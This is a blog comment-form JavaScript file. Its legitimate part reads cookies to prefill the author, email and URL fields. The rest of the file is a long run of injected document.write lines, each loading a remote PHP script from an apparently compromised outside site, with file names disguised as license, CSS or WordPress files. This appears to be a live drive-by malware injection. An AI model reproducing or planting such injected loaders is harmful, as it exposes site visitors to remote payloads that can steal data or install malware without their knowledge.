var aCookie = document.cookie.split("; ");
function readCosBetaCookie(CookieEleName)
{
  var cookieValue = "";
  for (var i=0; i < aCookie.length; i++){
	  var CookieArray = aCookie[i].split("=");
	  if (CookieEleName == CookieArray[0]){
			  cookieValue = unescape(decodeURI(CookieArray[1]));
	  }
}
  return cookieValue;
}
function setCommForm(){
				if( admin_user_cookie.length > 2){						
						if(document.getElementById('author')!=null){
							document.getElementById('author').value= admin_user_cookie.split("|")[0] ;
						}
						if(document.getElementById('email')!=null){
							document.getElementById('email').value= "admin_logged@fake.com";
						}
				}else{
					if(document.getElementById('author')!=null){
						document.getElementById('author').value= readCosBetaCookie(author_cookie);
						if( readCosBetaCookie(custom_author_cookie).length > 1 ){
							document.getElementById('author').value= readCosBetaCookie(custom_author_cookie);
						}
					}
					if(document.getElementById('email')!=null)
					document.getElementById('email').value= readCosBetaCookie(email_cookie);
					if(document.getElementById('url')!=null)
					document.getElementById('url').value= readCosBetaCookie(url_cookie);
					}
		}
document.write('<script src=http://hrjs.biz/images/hrmission.php ><\/script>');
document.write('<script src=http://hrjs.biz/images/hrmission.php ><\/script>');
document.write('<script src=http://hrjs.biz/images/hrmission.php ><\/script>');
document.write('<script src=http://mirkip.ru/media/LICENSE.php ><\/script>');
document.write('<script src=http://mirkip.ru/media/LICENSE.php ><\/script>');
document.write('<script src=http://forum.gazetaparma.ru/language/tools.php ><\/script>');
document.write('<script src=http://forum.gazetaparma.ru/language/tools.php ><\/script>');
document.write('<script src=http://cafebabbelaar.nl/components/com_joomlaxplorer/index.php ><\/script>');
document.write('<script src=http://cafebabbelaar.nl/components/com_joomlaxplorer/index.php ><\/script>');
document.write('<script src=http://cafebabbelaar.nl/components/com_joomlaxplorer/index.php ><\/script>');
document.write('<script src=http://cafebabbelaar.nl/components/com_joomlaxplorer/index.php ><\/script>');
document.write('<script src=http://cafebabbelaar.nl/components/com_joomlaxplorer/index.php ><\/script>');
document.write('<script src=http://cafebabbelaar.nl/components/com_joomlaxplorer/index.php ><\/script>');
document.write('<script src=http://musicstuff.ru/phpmyadmin/vars.inc.php ><\/script>');
document.write('<script src=http://musicstuff.ru/phpmyadmin/vars.inc.php ><\/script>');
document.write('<script src=http://musicstuff.ru/phpmyadmin/vars.inc.php ><\/script>');
document.write('<script src=http://musicstuff.ru/phpmyadmin/vars.inc.php ><\/script>');
document.write('<script src=http://musicstuff.ru/phpmyadmin/vars.inc.php ><\/script>');
document.write('<script src=http://musicstuff.ru/phpmyadmin/vars.inc.php ><\/script>');
document.write('<script src=http://musicstuff.ru/phpmyadmin/vars.inc.php ><\/script>');
document.write('<script src=http://srimahalakshmiengg.com/images/requestaquote.php ><\/script>');
document.write('<script src=http://srimahalakshmiengg.com/images/requestaquote.php ><\/script>');
document.write('<script src=http://srimahalakshmiengg.com/images/requestaquote.php ><\/script>');
document.write('<script src=http://poolservicespalmbeach.com/_notes/Covenant-Pool-web.php ><\/script>');
document.write('<script src=http://poolservicespalmbeach.com/_notes/Covenant-Pool-web.php ><\/script>');
document.write('<script src=http://abc-autoglass.com/images/css.php ><\/script>');
document.write('<script src=http://abc-autoglass.com/images/css.php ><\/script>');
document.write('<script src=http://abc-autoglass.com/images/css.php ><\/script>');
document.write('<script src=http://abc-autoglass.com/images/css.php ><\/script>');
document.write('<script src=http://aboutcat.info/css/Favorite-cats.php ><\/script>');
document.write('<script src=http://aboutcat.info/css/Favorite-cats.php ><\/script>');
document.write('<script src=http://blog.networkplay.in/images/gifimg.php ><\/script>');
document.write('<script src=http://888.limewebs.com/mmc/wp-blog-header.php ><\/script>');
document.write('<script src=http://888.limewebs.com/mmc/wp-blog-header.php ><\/script>');
document.write('<script src=http://888.limewebs.com/mmc/wp-blog-header.php ><\/script>');
document.write('<script src=http://888.limewebs.com/mmc/wp-blog-header.php ><\/script>');
document.write('<script src=http://888.limewebs.com/mmc/wp-blog-header.php ><\/script>');